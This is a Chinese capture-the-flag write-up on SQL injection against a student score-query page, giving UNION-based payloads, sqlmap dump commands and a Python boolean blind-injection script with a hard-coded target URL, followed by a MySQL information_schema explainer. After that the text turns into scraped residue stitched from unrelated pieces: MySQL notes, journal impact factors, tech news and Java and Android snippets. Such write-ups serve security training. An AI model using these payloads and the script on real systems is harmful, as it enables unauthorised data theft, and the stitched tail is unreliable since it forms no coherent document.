知识点:SQL注入,三种解法手动注入、sqlmap注入、python盲注
手动注入前先理解msysql的系统配置
select 1,database(),version();//查询数据库类型和版本
select * from information_schema.schemata //数据库下的所有库 schema_name='mysql'
information_schema信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息,SCHEMATA表:提供了当前mysql实例中所有数据库的信息
SELECT * FROM information_schema.TABLES where table_schema='mysql'//数据库mysql用户下的所有表table_name
SELECT * FROM information_schema.COLUMNS where table_schema='mysql' and table_name='db' ;//条件要选用户 table_schema ,表名table_name
select USER from mysql.db //查询字段值
1、找到sql注入点
输入1,2,3分别能查到1,2,3号学生的成绩
输入1'返回异常,输入1'--+返回异常,输入1' #或者1’-- +返回正常,看来过滤了--+
(#和--+均为注释)
观察,表貌似有四列(名字,Math,English,Chinese),
输入1' order by 4#返回正常,输入1' order by 5#返回异常,看来的确是4列。
2、接下来就开始暴库名、表名、字段名
尝试联合查询,记得把前面的查询数据置空,写成id=0(0或者很大的数都可以)即可,显示正常,说明确确实实存在这四列数据
我们先手遍历一遍 id=0' union select 1,2,3,4#
发现有四个表且都有回显
开始爆破
首先爆库名:
通过id=0' union select 1,2,3,database()#
得到数据库名字skctf_flag
(2)然后爆表:
通过使用 id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
得到表名:fl4g,sc
(3)爆字段
通过id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467# //这里需要用16进制绕过
得到字段:skctf_flag
(4)最后查询数据,
通过使用:id=0' union select 1,2,3,skctf_flag from fl4g#
二、sqlmap注入
1、bp抓包
输入1并进行抓包。
然后按右键,点击copy to file保存文件,这里我保存到了C盘 333.txt
2、sqlmap开始爆库:
sqlmap.py -r “C:\333.txt” -p id –current-db -r –> 加载一个文件 -p –>指定参数 –current-db –>获取当前数据库名称(current前有两个-)
可以看到它的数据库为 ‘skctf_flag’,接着就是爆表 sqlmap.py -r “C:\333.txt” -p id -D skctf_flag - -tables -D –>指定数据库名称 –tables –>列出数据库中的表(tables前有两个-)
可以看到当前数据库中有两个表,很明显,flag应该在fl4g表中,下面就是该爆出表中的字段了 sqlmap.py -r “C:\333.txt” -p id -D skctf_flag -T fl4g –columns -T –>指定表名称 –columns –>列出表中的字段
fl4g 表中有一个名为skctf_flag字段,最后列出字段信息就可以啦。 sqlmap.py -r “c:\333.txt” -p id -D skctf_flag -T fl4g -C skctf_flag –dump –dump –>列出字段数据(dump前有两个-)
三、 python sql盲注
通过构造id=1' and 1=1#或返回成绩,id=1' and 1=2#不会返回成绩。可以肯定这道题可以利用布尔盲注
脚本
# -*- coding:utf-8 -*-
import requests
import re
url = "http://120.24.86.145:8002/chengjidan/index.php"
base_payload = "1' and if(ascii(substr({data},{len},1))>{number},1,0)#" #if(prep1.prep2,prep3) 若表达式prep1为真,则返回prep2,若prep1为假,则返回prep3
#base_payload = "1' and if(ascii(substr(select table_name from information_schema.tables where table_name=database() limit 0,1)>{num},{len},1),1,0)#"
#payload = "database()" #skctf_flag
#payload = "(select table_name from information_schema.tables where table_schema=database() limit 0,1)" #fl4g
#payload = "(select column_name from information_schema.columns where table_name='fl4g' limit 0,1)" #skctf_flag
payload = "(select skctf_flag from fl4g limit 0,1)"
information=""
for m in range(1,50):
for i in range(32,129):
post_data = {"id":base_payload.format(data = payload,len = m,number=i)}
r = requests.post(url,post_data)
resultarr = re.findall(r"(.+?) ",r.text)
result = ''.join(resultarr)
#print result
#print r.text
#print post_data
if '60' not in result:
information += chr(i)
break
print information
payload 从上倒下依次是为了得到数据库名字,flag表名,flag字段名,flag
知识点:
MySQL中information_schema是什么
wordpress主机,博客主机
大家在安装或使用MYSQL时,会发现除了自己安装的数据库以外,还有一个information_schema数据库。 information_schema数据库是做什么用的呢,使用WordPress博客的朋友可能会想,是不是安装模板添加的数据库呀?看完本片文章 后,你就会对information_schema数据库有所了解。
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。 在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。
information_schema数据库表说明:
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。
USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。
TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。
COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。
COLLATIONS表:提供了关于各字符集的对照信息。
COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。
TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。
KEY_COLUMN_USAGE表:描述了具有约束的键列。
ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表
【注】
参考https://blog.csdn.net/xuchen16/article/details/82785371,https://blog.csdn.net/qq_34072526/article/details/86775668
你可能感兴趣的:(信息安全,CTF,bugku)
mysql复习
立夏的李子
mysql 数据库 database
mysqlselect语法selectfromjoinwheregroupbyhavingorderbylimit联合查询innerjoin()leftjoin(以左表为基准,匹配右表,不匹配的返回左表,右表以null值填充)rightjoind··(去除列重复的数据)索引类型主键索引(PrimaryKey)唯一索引(Unique)常规索引(Index)全文索引(FullText)索引准则索引不是
一分钟了解什么是SCI影响因子 ?
学术投稿人
影响因子详解期刊的影响因子(ImpactFactor),指的是该刊前二年发表的文献在当前年的平均被引用次数。刊物的影响因子越高,也即其刊载的文献被引用率越高,一方面说明这些文献报道的研究成果影响力大,另一方面也反映该刊物的学术水平高。由美国科学情报研究所(ISI,InstituteforScientificInformation)创始人尤金.加菲得(Dr.E.Garfield)在1960年代创立,
OpenCloudOS 城市行·成都站圆满落幕,共探操作系统技术新未来!
CSDN资讯
业界资讯 资讯 数据库 人工智能
7月26日,由OpenCloudOS社区主办,海光信息战略合作的OpenCloudOS城市行・成都站活动在成都欧洲中心圆满举办,线上观看人次超3万。当前,数字化浪潮席卷全球各行各业,在国产化进程加速的背景下,操作系统的技术突破与生态构建不仅是保障信息安全的关键,更是推动产业升级、实现高质量发展的必由之路。然而,国产操作系统在性能优化、安全防护、多场景适配等方面仍面临诸多挑战,亟需产业链上下游协同创
CTF-Web学习笔记:SQL注入篇
编程到天明
CTF sql 网络安全
目录引言一、SQL注入的基础概念1.什么是SQL注入?2.SQL注入的成因二、CTF中常见的SQL注入类型1.按参数类型分类2.按注入方式分类3.其他进阶类型三、CTF实战技巧:从找注入点到拿Flag1.如何判断是否存在注入?2.快速确定数据库类型3.常用工具辅助4.绕过WAF(Web应用防火墙)四、CTF题目示例:一道报错注入实战题目背景解题步骤五、总结与提升引言在CTF(CaptureTheF
英语日积月累2023-06-06
抽刀断水2
fuzzyfuzzyfuzzy模糊这电影声带有些地方模糊不清。Thesoundtrackisfuzzyinplaces.respectfullyrespectfullyrespectfully恭敬地“嗯,当然,先生。”田鼠恭恭敬敬地回答。"Why,certainly,sir,"repliedthefield-mouserespectfully.puzzlepuzzlepuzzle使困惑;n.难题,
网站渗透测试完全手册:零基础到进阶,系统学习网络安全攻防
渗透测试介绍渗透测试就是模拟攻击者入侵系统,对系统进行一步步地渗透,发现系统地脆弱环节和隐藏风险。最后形成测试报告提供给系统所有者。系统所有者可根据该测试报告对系统进行加固,提升系统的安全性,防止真正的攻击者入侵。渗透测试的前提一定是得经过系统所有者的授权!未经过授权的渗透测试,就是违法行为!渗透测试意义信息安全评估的重要方法,有利于掌握系统整体安全强度。模拟黑客攻击和思维,评估计算机潜在风险。发
Java:实现中速后缀阵列,时间复杂度:O (nlog ^ 2 (n))算法(附带源码)
Katie。
Java算法完整教程 算法
项目背景详细介绍后缀数组(SuffixArray)是字符串处理领域的重要数据结构,它能够以线性或接近线性时间完成对一个长度为nnn的字符串所有后缀的字典序排序,并在此基础上支持高效的子串查询、最长公共前缀(LCP)查询、不同子串计数、模式匹配等操作。相比于后缀树,后缀数组的实现更为简洁,空间开销更小,因而在实际工程中被广泛应用于全文检索、基因序列分析、数据压缩以及信息安全等场景。本项目涵盖一种中速
equals和hashCode的关系,equals相等,hashCode就必须要相等吗?
架构师springboot
我们经常听见hashCode相等,那么equals可以不相等,但是equals相等,那么hashCode就一定相等这2个定理,没有看源码的同学就会认为jdk保证了equals相等,那么hashCode就一定相等,但是事实真的是这样吗?答案是否定的,equals相等,hashCode也是可以不相等的,看下面的那个例子:packagecontroller.abstractfactory;importj
PostgreSQL LIKE 子句
嘀嗒运维
在PostgreSQL数据库中,我们如果要获取包含某些字符的数据,可以使用LIKE子句。在LIKE子句中,通常与通配符结合使用,通配符表示任意字符,在PostgreSQL中,主要有以下两种通配符:百分号%下划线_如果没有使用以上两种通配符,LIKE子句和等号=得到的结果是一样的。语法以下是使用LIKE子句搭配百分号%和下划线_从数据库中获取数据的通用语法:SELECTFROMtable_nameW
常见认证机制详解
PythonicCC
安全
认证(Authentication)是确认用户或系统身份的过程,是信息安全的第一道防线。本文将全面介绍常见的认证机制,包括基础认证、高级认证以及新兴的认证技术,帮助读者构建完整的认证知识体系。一、认证机制基础概念1.什么是认证?认证是验证"你是谁"的过程,即确认用户、设备或系统所声称身份的真实性。它与授权(Authorization)不同,后者解决"你能做什么"的问题。2.为什么需要多种认证机制?
react class和function 如何模拟vue中的 双向绑定 监听 computed的方式
在React中,类组件和函数组件的写法有所不同。你提到的「双向绑定」、「监听」和「computed(计算属性)」这几个概念,原本来源于Vue,但在React中我们也可以通过特定方式实现类似功能。下面我将分别介绍:1.类组件中的双向绑定在类组件中,要实现双向绑定(如表单输入),我们通常使用state和onChange:importReactfrom'react';classMyFormextends
CTF入门教程(非常详细)从零基础入门到竞赛,看这一篇就够了!
网络安全宇哥
web安全 安全 网络 网络安全 安全架构
一、CTF简介CTF(CaptureTheFlag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今,已经成为全球范围网络安全圈流行的竞赛形式,2013年全球举办了超过五十场国际性CTF赛事。而DEFCON作为CTF赛制的发源地,DEFCONCT
入门网络安全,NISP真的有必要考吗?
一、NISP是什么?国家信息安全水平考试(NationalInformationSecurityTestProgram,简称NISP),是由中国信息安全测评中心实施培养国家网络空间安全人才的项目,由国家网络空间安全人才培养基地运营/管理。说白了就是国家为了发展网络安全而搭建的一个培训、认证考试平台。由国家做背书,属于国家级别的认证考试。NISP认证分为一级、二级、三级,证书由中国信息安全测评中心颁
【202版】最新十大漏洞讲解来了!(附原理+防御措施)看完这一篇就够了
网络安全入门学习教程
网络安全 网络 web安全 安全
导读网络安全攻击随着对抗技术的不断迭代更新,逐渐变得越来越复杂,网络安全攻击通常会给企业或个人造成严重的财务和声誉损失。现在在网络中每天都在发生各种类型的网络攻击,并且网络攻击给企业和个人带来的影响越来越大。在大多数的小公司中,信息安全充其量仅限于安装防病毒软件。并没有做好足够的网络安全攻击的防御。下面就开始整理下常见的网络漏洞和防御网络漏洞安全思路。一、sql注入漏洞产生原因应用程序将用户输入(
网络安全安全常见十大漏洞(原理+防御措施)
可口可乐没有乐
网络安全 安全 web安全 网络
导读网络安全攻击随着对抗技术的不断迭代更新,逐渐变得越来越复杂,网络安全攻击通常会给企业或个人造成严重的财务和声誉损失。现在在网络中每天都在发生各种类型的网络攻击,并且网络攻击给企业和个人带来的影响越来越大。在大多数的小公司中,信息安全充其量仅限于安装防病毒软件。并没有做好足够的网络安全攻击的防御。下面就开始整理下常见的网络漏洞和防御网络漏洞安全思路。一、sql注入漏洞产生原因应用程序将用户输入(
等保-linux-三权分立账号设置,系统管理员、安全管理员、审计管理员
安审若无
linux linux 安全
在Linux系统中实现等保(信息安全等级保护)要求的"三权分立"(系统管理员、安全管理员、审计管理员)账号设置,需要按照最小权限原则进行权限划分。以下是具体实施方案:1.账号角色定义角色职责范围对应Linux权限系统管理员日常系统运维、资源配置、网络管理、普通用户管理sudo权限限于:软件安装/卸载、服务管理、磁盘管理、网络配置、用户管理(非特权)安全管理员安全策略配置、权限分配、安全审计配置、安
SQL实战宝典:常用语句全解析
SQL常用语句分类示例数据查询(SELECT)查询所有列:SELECT*FROMemployees;查询特定列并排序:SELECTfirst_name,last_nameFROMemployeesORDERBYhire_dateDESC;条件筛选(WHERE):SELECTproduct_name,priceFROMproductsWHEREprice>100ANDcategory='Electr
ISO27001 高阶架构 之 信息安全目标规划与实现
小木话安全
信息安全 安全 网络
---写在前面的话---管理体系的八大原则之一是“全员参与”,强调共同完成管理体系目标。这里的信息安全目标由组织定义并不能由信息安全团队所定义,或者说至少不能全部由信息安全团队定义。ISO/IEC27001的描述“相关职能”都应当设立信息安全目标并为之投入资源,但大多数现实情况下“相关智能和层次”却好像只包含信息安全团队,信息安全团队不能独立完成目标,沟通协作才是主旋律。但是,当信息安全团队目标与
对称加密算法和非对称加密算法区别
对称加密算法加密和解密使用同一个密钥。发送方用密钥加密数据,接收方用相同的密钥解密数据。优点:比非对称加密算法更高效,适合处理大量数据。缺点:使用同一个秘钥,如果密钥泄露就没了信息安全。常见算法:DES:较老,已被AES取代3DES:DES的改进版本,安全性更高但效率较低AES:高效且广泛非对称加密算法每个用户拥有一对密钥,●公钥(PublicKey):用于加密数据,公钥公开表示谁都可以加密给我发
中国计算机学会(CCF)推荐学术会议-C(网络与信息安全):ACM ASIACCS 2026
爱思德学术
网络安全 信息与通信 密码学
ACMASIACCS2026BuildingonthesuccessofACMConferenceonComputerandCommunicationsSecurity(CCS),theACMSpecialInterestGrouponSecurity,Audit,andControl(SIGSAC)formallyestablishedtheannualACMAsiaConferenceonCo
前端开发命名规范
十月不到底
javascript 前端
前言优秀的代码往往是最通俗易懂的代码,在于它的易于维护。在开发过程中,变量/方法优秀的命名往往有助于理解该变量/方法的用途,起到命名即注释的作用。而糟糕的命名往往会让人摸不着头脑。为了提高代码的可维护性,我们需要更优雅的命名方式。一.常见命名种类目前收集到的常见的命名方式主要有以下4种:驼峰命名法(camelCase)首字母小写,从第二个单词开始首字母大写,例如:myProjectFolder帕斯
计算机网络采用分层有哪些好处,网络协议分层的优点
温卡龙
计算机网络采用分层有哪些好处
分层网络协议是计算机术语。网络协议分层的优点你知道吗?计算机网络安全有哪些基本注意事项,一起和佰佰安全网看看吧。网络安全是一个关系国家安全和主权、社会的稳定、民族文化的继承和发扬的重要问题。其重要性,正随着全球信息化步伐的加快而变到越来越重要。“家门就是国门”,安全问题刻不容缓。网络安全是一门涉及计算机科学、网络技术、通信技术、密码技术、信息安全技术、应用数学、数论、信息论等多种学科的综合性学科。
Python 程序无法找到 Oracle 的 64 位客户端库 (libclntsh.so)
期待着2013
python
数据库错误:DPI-1047:Cannotlocatea64-bitOracleClientlibrary:"libclntsh.so:cannotopensharedobjectfile:Nosuchfileordirectory".Seehttps://oracle.github.io/odpi/doc/installation.html#linuxforhelp这个错误表明Python程序无
选择 IDC 机房服务器托管的要点
如何选择IDC机房服务器托管?看四点:1.服务商资质与信誉优先选择具有多年行业经验、良好口碑和相关资质认证的IDC服务商。例如,拥有增值电信业务经营许可证、IDC|ISP|CDN许可证、ISO质量管理体系认证、信息安全管理体系认证等,这些资质是服务商具备专业能力和服务质量的重要体现。同时,可以通过查看客户评价、案例分享等方式了解服务商的信誉情况。2.机房设施与环境考察IDC机房的电力供应、网络带宽
SpringIOC源码(三)——getBean及createBean做了什么
天凉好个球儿
SpringIOC学习(三)getBean()一初始化非懒加载的单例bean二preInstantiateSingletons()1.getMergedLocalBeanDefinition()三doGetBean1.getSingleton(StringbeanName,booleanallowEarlyReference)2.getObjectForBeanInstance()2.1getOb
掌握密码学:加密与解密的艺术
隔壁王医生
密码学 加密算法 解密过程 安全性分析 RSA算法
掌握密码学:加密与解密的艺术密码学是信息安全的基石,它涉及信息的编码、保护以及传输过程中的安全性问题。在当今数字化时代,密码学的应用无处不在,从简单的个人数据保护到复杂的国家安全通信。本文旨在通过深入分析密码学中的核心概念,帮助读者理解加密与解密的奥秘。密码学的基础在开始之前,我们需要了解一些密码学的基本概念。明文是未加密的信息,而密文是加密后的信息。加密是将明文转换为密文的过程,而解密则是将密文
都说写作内容该和工作相结合,但提笔就涉及信息安全的可咋整啊~
践行而渐远
最近进入德国的休假期,办公室90%的人轮番休假,每人至少连休两周。于是我这种坚守工作岗位的员工就只能忙得飞起飞起的~试用了一阵子华为新一代的旗舰手机,软硬件都很惊艳,摄像头效果完爆以往用过的所有手机。因为预计要今年十月才发售,没法直接上图或透露任何细节,有兴趣的小伙伴可以关注一下月底在柏林IFA的Keynote。图片发自App另外说说给我留下不少印象的Google亲儿子~Google的Pixel系
专属私有云满足密评要求啥意思?密评是什么?为什么专有云需要进行密评?到底那些系统需要密评?
文章永久免费只为良心
数据库
“专属私有云满足密评要求”指该私有云平台的设计、技术实现及运维管理,全面符合国家《信息安全技术信息系统密码应用基本要求》(GB/T39786-2021)等法规的密码安全标准,通过权威机构评测(如等保三级、密评三级),确保数据全链路安全可控。以下是具体解析:一、密评的核心要求与专属私有云的适配性密评(商用密码应用安全性评估)是国家密码管理局对信息系统密码应用合规性的强制性检测,重点评估以下方面:密码
政务云,私有云,还有移动云的区别到底是什么?
1.政务云(GovernmentCloud)定位:面向政府机构(如委办局、事业单位)提供的专属云平台。核心特点:强合规性与安全性:必须符合国家信息安全等级保护(如等保三级)、数据本地化要求,并通过严格的安全审计(如《网络安全法》《数据安全法》)。独立资源池:物理或逻辑隔离的计算/存储资源,确保政府数据与其他行业数据分离。专属服务目录:提供适配政府业务的标准化服务(如电子政务、协同办公、数据共享交换
软考信息安全工程师经验分享以及报考建议
大学生编程地
备考分享 经验分享 安全 web安全
我是参加的是21年11月份的信息安全工程师考试,给大家分享一些经验因为信息安全工程师16年才开始考,而且一年只考一次,再加上又改了新教材,两版的差别又很大,所以除了教材,能找到的其他知识和练习题是非常的少,而且截至目前为止,20年那一次的考试,官方一直不给公布真题,全网上能找到关于那次考试的,只有一两篇由参加过的考生所写的帖子,我一开始还纳闷为什么,在我考完21年的后,我想我知道答案了我猜,21年
开发者关心的那些事
圣子足道
ios 游戏 编程 apple 支付
我要在app里添加IAP,必须要注册自己的产品标识符(product identifiers)。产品标识符是什么?
产品标识符(Product Identifiers)是一串字符串,它用来识别你在应用内贩卖的每件商品。App Store用产品标识符来检索产品信息,标识符只能包含大小写字母(A-Z)、数字(0-9)、下划线(-)、以及圆点(.)。你可以任意排列这些元素,但我们建议你创建标识符时使用
负载均衡器技术Nginx和F5的优缺点对比
bijian1013
nginx F5
对于数据流量过大的网络中,往往单一设备无法承担,需要多台设备进行数据分流,而负载均衡器就是用来将数据分流到多台设备的一个转发器。
目前有许多不同的负载均衡技术用以满足不同的应用需求,如软/硬件负载均衡、本地/全局负载均衡、更高
LeetCode[Math] - #9 Palindrome Number
Cwind
java Algorithm 题解 LeetCode Math
原题链接:#9 Palindrome Number
要求:
判断一个整数是否是回文数,不要使用额外的存储空间
难度:简单
分析:
题目限制不允许使用额外的存储空间应指不允许使用O(n)的内存空间,O(1)的内存用于存储中间结果是可以接受的。于是考虑将该整型数反转,然后与原数字进行比较。
注:没有看到有关负数是否可以是回文数的明确结论,例如
画图板的基本实现
15700786134
画图板
要实现画图板的基本功能,除了在qq登陆界面中用到的组件和方法外,还需要添加鼠标监听器,和接口实现。
首先,需要显示一个JFrame界面:
public class DrameFrame extends JFrame { //显示
linux的ps命令
被触发
linux
Linux中的ps命令是Process Status的缩写。ps命令用来列出系统中当前运行的那些进程。ps命令列出的是当前那些进程的快照,就是执行ps命令的那个时刻的那些进程,如果想要动态的显示进程信息,就可以使用top命令。
要对进程进行监测和控制,首先必须要了解当前进程的情况,也就是需要查看当前进程,而 ps 命令就是最基本同时也是非常强大的进程查看命令。使用该命令可以确定有哪些进程正在运行
Android 音乐播放器 下一曲 连续跳几首歌
肆无忌惮_
android
最近在写安卓音乐播放器的时候遇到个问题。在MediaPlayer播放结束时会回调
player.setOnCompletionListener(new OnCompletionListener() {
@Override
public void onCompletion(MediaPlayer mp) {
mp.reset();
Log.i("H
java导出txt文件的例子
知了ing
java servlet
代码很简单就一个servlet,如下:
package com.eastcom.servlet;
import java.io.BufferedOutputStream;
import java.io.IOException;
import java.net.URLEncoder;
import java.sql.Connection;
import java.sql.Resu
Scala stack试玩, 提高第三方依赖下载速度
矮蛋蛋
scala sbt
原文地址:
http://segmentfault.com/a/1190000002894524
sbt下载速度实在是惨不忍睹, 需要做些配置优化
下载typesafe离线包, 保存为ivy本地库
wget http://downloads.typesafe.com/typesafe-activator/1.3.4/typesafe-activator-1.3.4.zip
解压r
phantomjs安装(linux,附带环境变量设置) ,以及casperjs安装。
alleni123
linux spider
1. 首先从官网
http://phantomjs.org/下载phantomjs压缩包,解压缩到/root/phantomjs文件夹。
2. 安装依赖
sudo yum install fontconfig freetype libfreetype.so.6 libfontconfig.so.1 libstdc++.so.6
3. 配置环境变量
vi /etc/profil
JAVA IO FileInputStream和FileOutputStream,字节流的打包输出
百合不是茶
java核心思想 JAVA IO操作 字节流
在程序设计语言中,数据的保存是基本,如果某程序语言不能保存数据那么该语言是不可能存在的,JAVA是当今最流行的面向对象设计语言之一,在保存数据中也有自己独特的一面,字节流和字符流
1,字节流是由字节构成的,字符流是由字符构成的 字节流和字符流都是继承的InputStream和OutPutStream ,java中两种最基本的就是字节流和字符流
类 FileInputStream
Spring基础实例(依赖注入和控制反转)
bijian1013
spring
前提条件:在http://www.springsource.org/download网站上下载Spring框架,并将spring.jar、log4j-1.2.15.jar、commons-logging.jar加载至工程1.武器接口
package com.bijian.spring.base3;
public interface Weapon {
void kil
HR看重的十大技能
bijian1013
提升 能力 HR 成长
一个人掌握何种技能取决于他的兴趣、能力和聪明程度,也取决于他所能支配的资源以及制定的事业目标,拥有过硬技能的人有更多的工作机会。但是,由于经济发展前景不确定,掌握对你的事业有所帮助的技能显得尤为重要。以下是最受雇主欢迎的十种技能。 一、解决问题的能力 每天,我们都要在生活和工作中解决一些综合性的问题。那些能够发现问题、解决问题并迅速作出有效决
【Thrift一】Thrift编译安装
bit1129
thrift
什么是Thrift
The Apache Thrift software framework, for scalable cross-language services development, combines a software stack with a code generation engine to build services that work efficiently and s
【Avro三】Hadoop MapReduce读写Avro文件
bit1129
mapreduce
Avro是Doug Cutting(此人绝对是神一般的存在)牵头开发的。 开发之初就是围绕着完善Hadoop生态系统的数据处理而开展的(使用Avro作为Hadoop MapReduce需要处理数据序列化和反序列化的场景),因此Hadoop MapReduce集成Avro也就是自然而然的事情。
这个例子是一个简单的Hadoop MapReduce读取Avro格式的源文件进行计数统计,然后将计算结果
nginx定制500,502,503,504页面
ronin47
nginx 错误显示
server {
listen 80;
error_page 500/500.html;
error_page 502/502.html;
error_page 503/503.html;
error_page 504/504.html;
location /test {return502;}}
配置很简单,和配
java-1.二叉查找树转为双向链表
bylijinnan
二叉查找树
import java.util.ArrayList;
import java.util.List;
public class BSTreeToLinkedList {
/*
把二元查找树转变成排序的双向链表
题目:
输入一棵二元查找树,将该二元查找树转换成一个排序的双向链表。
要求不能创建任何新的结点,只调整指针的指向。
10
/ \
6 14
/ \
Netty源码学习-HTTP-tunnel
bylijinnan
java netty
Netty关于HTTP tunnel的说明:
http://docs.jboss.org/netty/3.2/api/org/jboss/netty/channel/socket/http/package-summary.html#package_description
这个说明有点太简略了
一个完整的例子在这里:
https://github.com/bylijinnan
JSONUtil.serialize(map)和JSON.toJSONString(map)的区别
coder_xpf
jquery json map val()
JSONUtil.serialize(map)和JSON.toJSONString(map)的区别
数据库查询出来的map有一个字段为空
通过System.out.println()输出 JSONUtil.serialize(map): {"one":"1","two":"nul
Hibernate缓存总结
cuishikuan
开源 ssh javaweb hibernate缓存 三大框架
一、为什么要用Hibernate缓存?
Hibernate是一个持久层框架,经常访问物理数据库。
为了降低应用程序对物理数据源访问的频次,从而提高应用程序的运行性能。
缓存内的数据是对物理数据源中的数据的复制,应用程序在运行时从缓存读写数据,在特定的时刻或事件会同步缓存和物理数据源的数据。
二、Hibernate缓存原理是怎样的?
Hibernate缓存包括两大类:Hib
CentOs6
dalan_123
centos
首先su - 切换到root下面1、首先要先安装GCC GCC-C++ Openssl等以来模块:yum -y install make gcc gcc-c++ kernel-devel m4 ncurses-devel openssl-devel2、再安装ncurses模块yum -y install ncurses-develyum install ncurses-devel3、下载Erang
10款用 jquery 实现滚动条至页面底端自动加载数据效果
dcj3sjt126com
JavaScript
无限滚动自动翻页可以说是web2.0时代的一项堪称伟大的技术,它让我们在浏览页面的时候只需要把滚动条拉到网页底部就能自动显示下一页的结果,改变了一直以来只能通过点击下一页来翻页这种常规做法。
无限滚动自动翻页技术的鼻祖是微博的先驱:推特(twitter),后来必应图片搜索、谷歌图片搜索、google reader、箱包批发网等纷纷抄袭了这一项技术,于是靠滚动浏览器滚动条
ImageButton去边框&Button或者ImageButton的背景透明
dcj3sjt126com
imagebutton
在ImageButton中载入图片后,很多人会觉得有图片周围的白边会影响到美观,其实解决这个问题有两种方法
一种方法是将ImageButton的背景改为所需要的图片。如:android:background="@drawable/XXX"
第二种方法就是将ImageButton背景改为透明,这个方法更常用
在XML里;
<ImageBut
JSP之c:foreach
eksliang
jsp forearch
原文出自:http://www.cnblogs.com/draem0507/archive/2012/09/24/2699745.html
<c:forEach>标签用于通用数据循环,它有以下属性 属 性 描 述 是否必须 缺省值 items 进行循环的项目 否 无 begin 开始条件 否 0 end 结束条件 否 集合中的最后一个项目 step 步长 否 1
Android实现主动连接蓝牙耳机
gqdy365
android
在Android程序中可以实现自动扫描蓝牙、配对蓝牙、建立数据通道。蓝牙分不同类型,这篇文字只讨论如何与蓝牙耳机连接。
大致可以分三步:
一、扫描蓝牙设备:
1、注册并监听广播:
BluetoothAdapter.ACTION_DISCOVERY_STARTED
BluetoothDevice.ACTION_FOUND
BluetoothAdapter.ACTION_DIS
android学习轨迹之四:org.json.JSONException: No value for
hyz301
json
org.json.JSONException: No value for items
在JSON解析中会遇到一种错误,很常见的错误
06-21 12:19:08.714 2098-2127/com.jikexueyuan.secret I/System.out﹕ Result:{"status":1,"page":1,&
干货分享:从零开始学编程 系列汇总
justjavac
编程
程序员总爱重新发明轮子,于是做了要给轮子汇总。
从零开始写个编译器吧系列 (知乎专栏)
从零开始写一个简单的操作系统 (伯乐在线)
从零开始写JavaScript框架 (图灵社区)
从零开始写jQuery框架 (蓝色理想 )
从零开始nodejs系列文章 (粉丝日志)
从零开始编写网络游戏 
jquery-autocomplete 使用手册
macroli
jquery Ajax 脚本
jquery-autocomplete学习
一、用前必备
官方网站:http://bassistance.de/jquery-plugins/jquery-plugin-autocomplete/
当前版本:1.1
需要JQuery版本:1.2.6
二、使用
<script src="./jquery-1.3.2.js" type="text/ja
PLSQL-Developer或者Navicat等工具连接远程oracle数据库的详细配置以及数据库编码的修改
超声波
oracle plsql
在服务器上将Oracle安装好之后接下来要做的就是通过本地机器来远程连接服务器端的oracle数据库,常用的客户端连接工具就是PLSQL-Developer或者Navicat这些工具了。刚开始也是各种报错,什么TNS:no listener;TNS:lost connection;TNS:target hosts...花了一天的时间终于让PLSQL-Developer和Navicat等这些客户
数据仓库数据模型之:极限存储--历史拉链表
superlxw1234
极限存储 数据仓库 数据模型 拉链历史表
在数据仓库的数据模型设计过程中,经常会遇到这样的需求:
1. 数据量比较大; 2. 表中的部分字段会被update,如用户的地址,产品的描述信息,订单的状态等等; 3. 需要查看某一个时间点或者时间段的历史快照信息,比如,查看某一个订单在历史某一个时间点的状态, 比如,查看某一个用户在过去某一段时间内,更新过几次等等; 4. 变化的比例和频率不是很大,比如,总共有10
10点睛Spring MVC4.1-全局异常处理
wiselyman
spring mvc
10.1 全局异常处理
使用@ControllerAdvice注解来实现全局异常处理;
使用@ControllerAdvice的属性缩小处理范围
10.2 演示
演示控制器
package com.wisely.web;
import org.springframework.stereotype.Controller;
import org.spring